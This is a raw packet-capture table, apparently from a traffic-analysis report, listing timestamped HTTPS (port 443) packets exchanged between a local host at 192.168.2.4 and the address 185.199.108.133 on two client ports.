Sep 20, 2024 12:14:53.832465887 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.832539082 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.832551003 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.832617044 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.872178078 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872242928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872298002 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.872306108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872431993 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872459888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.872467995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872490883 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872503996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.872526884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.872531891 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872575998 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.872773886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872817993 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872853041 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.872859001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.872886896 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.872914076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.873347998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.873398066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.873435020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.873440981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.873475075 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.873502970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874037981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874115944 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874120951 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874150991 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874182940 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874209881 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874416113 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874459028 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874495029 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874501944 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874546051 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874569893 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874706030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874757051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874793053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874799013 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.874833107 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.874861956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.875068903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.875118017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.875153065 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.875158072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.875195980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.875220060 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.915780067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.915800095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.915998936 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.916013956 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.916095972 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.916512966 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.916529894 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.916608095 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.916620016 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.916682959 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.916759014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.916778088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.916851044 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.916862011 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.916893005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.916929960 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.917258024 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.917277098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.917341948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.917355061 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.917412043 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.918266058 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.918283939 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.918349981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.918361902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.918430090 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.918668985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.918688059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.918761015 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.918771982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.918834925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.919183969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.919203043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.919272900 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.919284105 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.919344902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.919591904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.919610977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.919667006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.919677973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.919719934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.919737101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.959315062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.959372044 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.959403038 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.959413052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.959451914 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.959479094 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.959567070 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.959611893 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.959640980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.959646940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.959686041 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.959703922 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.960144043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.960202932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.960225105 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.960233927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.960262060 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.960299969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.960499048 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.960577011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.960609913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.960619926 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.960654974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.960671902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.960988045 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961033106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961066008 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961071968 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961102009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961127996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961246014 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961297989 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961318016 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961327076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961364985 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961560965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961611032 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961632967 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961639881 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961664915 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961692095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961832047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961878061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961908102 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961918116 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:53.961947918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:53.961971045 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.005918026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.005975008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.006010056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.006023884 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.006063938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.006083965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.006716967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.006757975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.006800890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.006812096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.006859064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.006879091 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.007692099 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.007713079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.007790089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.007802010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.007873058 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.008124113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.008142948 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.008204937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.008217096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.008244038 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.008260965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.009427071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.009445906 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.009515047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.009526014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.009596109 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.009906054 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.009924889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.009989023 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.009999990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.010061026 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.010423899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.010445118 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.010503054 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.010514975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.010540009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.010639906 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.011063099 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.011081934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.011133909 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.011151075 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.011178017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.011223078 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.046642065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.046699047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.046833992 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.046843052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.046874046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.046895981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.046926022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.046946049 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.046984911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.047019005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.047084093 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.047197104 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.047243118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.047269106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.047275066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.047300100 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.047323942 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.047576904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.047629118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.047660112 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.047665119 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.047707081 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.048721075 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.048769951 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.048801899 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.048808098 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.048841000 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.048873901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.049232960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049273014 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049309015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.049314976 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049345970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.049375057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.049452066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049494982 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049527884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.049534082 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049565077 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.049591064 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.049645901 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049691916 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049721003 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.049726009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.049770117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.107445002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.107492924 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.107572079 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.107640982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.107693911 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.107697964 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.107724905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.107769966 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.107784033 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.107811928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.107852936 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.108145952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108163118 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108370066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.108437061 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108468056 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108489990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108511925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.108527899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108572006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.108623981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.108700991 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108721018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108793974 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.108808994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.108884096 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.109009981 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109029055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109087944 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.109102011 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109129906 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.109179020 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.109426022 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109445095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109518051 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.109529972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109589100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.109730959 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109750986 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109813929 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.109824896 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.109878063 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.134763956 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.134831905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135015965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135128021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.135138988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135179996 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135209084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.135225058 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135270119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.135279894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135310888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.135747910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135798931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135834932 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.135843992 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.135874987 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.136735916 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.136790037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.136822939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.136830091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.136857986 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.136960030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137008905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137018919 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.137051105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137083054 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.137178898 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137221098 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137243032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.137252092 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137284040 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.137377977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137427092 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137439966 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.137453079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.137487888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.187256098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.187316895 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.187412024 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.187485933 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.187517881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.187531948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.187570095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.187589884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.187606096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.187657118 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.187676907 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.188580990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.188621044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.188668966 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.188680887 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.188709021 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.189126015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.189172029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.189208984 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.189222097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.189245939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.189280033 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.190258980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.190311909 CEST	443	58640	185.199.108.133	192.168.2.4
